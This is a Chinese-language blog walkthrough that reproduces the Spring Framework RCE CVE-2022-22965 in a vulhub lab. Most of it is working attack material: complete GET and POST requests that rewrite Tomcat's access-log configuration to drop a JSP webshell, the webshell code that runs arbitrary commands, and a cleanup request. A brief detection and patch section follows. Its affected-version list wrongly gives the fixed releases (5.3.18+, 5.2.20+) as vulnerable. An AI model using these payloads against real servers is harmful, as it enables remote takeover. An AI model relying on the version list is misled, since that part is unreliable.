大柚子

这世界不过如此

概述

通过该漏洞可写入webshell以及命令执行。在Spring框架的JDK9版本(及以上版本)中,远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取AccessLogValve对象并注入恶意字段值,从而触发pipeline机制并在任意路径下写入文件。

漏洞检测条件

  • 1. Apache Tomcat作为Servlet容器;
  • 2. 使用JDK9及以上版本的Spring MVC框架;
  • 3. Spring框架以及衍生的框架spring-beans-*.jar文件或者存在CachedIntrospectionResults.class
  • 4、使用对象绑定方式(基本类型绑定场景不影响)

影响范围

1、JDK

  • JDK >= 9

2、Spring Framework

  • 5.3.18+
  • 5.2.20+

环境搭建

vulhub一键搭建:

[root@localhost CVE-2022-22965]# docker-compose up -d
Starting cve-2022-22965_spring_1 ... done
[root@localhost CVE-2022-22965]# docker ps
CONTAINER ID   IMAGE                         COMMAND             CREATED       STATUS          PORTS                                       NAMES
138cc2fc97d7   vulhub/spring-webmvc:5.3.17   "catalina.sh run"   5 hours ago   Up 25 minutes   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp   cve-2022-22965_spring_1

访问http://192.168.52.131:8080,界面如下即搭建成功

漏洞复现

利用原理为:利⽤class对象构造利⽤链,对Tomcat的日志配置进行修改,然后,向⽇志中写⼊shell

完整的检测利用链

class.module.classLoader.resources.context.parent.pipeline.first.pattern=构建文件的内容
class.module.classLoader.resources.context.parent.pipeline.first.suffix=修改tomcat日志文件后缀
class.module.classLoader.resources.context.parent.pipeline.first.directory=写入文件所在的网站根目录
class.module.classLoader.resources.context.parent.pipeline.first.prefix=写入文件名称
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=文件日期格式(实际构造为空值即可)

构建payload:

get方式


GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 192.168.52.131:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

或者可以分五次发送

/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
/?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
/?class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
/?class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
/?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= 

网站根目录下成功写入shell

访问http://192.168.52.131:8080/tomcaatwar.jsp?pwd=j&cmd=id可执行任意命令

post方式(数据包格式 Content-Type: application/x-www-form-urlencoded)

data部分:


class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Btest%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=%2Fapp%2Ftomcat%2Fwebapps%2FROOT%2F&class.module.classLoader.resources.context.parent.pipeline.first.prefix=testfile&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

然后任意⼀个请求,在请求头中添加一个name为test的值,即可写⼊webshell


test:<%    if("023".equals(request.getParameter("pwd"))){        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();        int a = -1;        byte[] b = new byte[2048];        out.print("<pre>");        while((a=in.read(b))!=-1){            out.println(new String(b));        }        out.print("</pre>");    }%>

访问链接:http://192.168.52.131:8080/testfile.jsp?pwd=023&i=ls

exp参考:https://github.com/TheGejr/SpringShell/blob/master/exp.py

注意事项

注意,你需要在利用完成后将

class.module.classLoader.resources.context.parent.pipeline.first.pattern
清空,否则每次请求都会写入新的恶意代码在JSP Webshell中,导致这个文件变得很大。发送如下数据包将其设置为空:

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern= HTTP/1.1
Host: 192.168.52.131:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Length: 18

c2: <%
DNT: 1

应急排查

因为这个漏洞的利用方法会修改目标服务器日志配置,导致目标需要重启服务器才能恢复,且导致tomcat访问日志记录失效,导致无日志可查,但如果有流量设备或者防护设备,可以搜索”class.module.classLoader.resources.context.parent.pipeline.first.“漏洞方式包含get和post

加固建议

根据官方的意思是更新最新版

https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

参考链接

https://www.cnblogs.com/peace-and-romance/p/16136516.html

https://cn-sec.com/archives/884659.html

Print Friendly, PDF & Email

发表回复

您的电子邮箱地址不会被公开。